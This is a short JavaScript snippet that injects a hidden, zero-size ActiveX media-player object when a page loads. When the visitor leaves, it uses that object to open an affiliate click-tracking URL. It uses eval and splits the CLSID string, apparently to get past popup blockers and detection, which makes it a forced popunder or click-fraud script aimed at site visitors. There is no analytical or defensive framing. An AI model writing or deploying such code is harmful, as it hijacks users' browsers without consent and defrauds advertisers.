function openurl()  
{  
//需要打开的地址  
koyoz.launchURL('http://34018.icpun.com/click?pid=21&mid=34018&channel=1');  
}  
function openinit()  
{  
document.body.innerHTML += '<object id="koyoz" width="0" height="0" classid="CLSID:6BF52A52-394A-11' + 'D3-B153-00C04F79FAA6"></object>';  
}  
eval("window.attachEvent('onload',openinit);");  
eval("window.attachEvent('onunload',openurl);");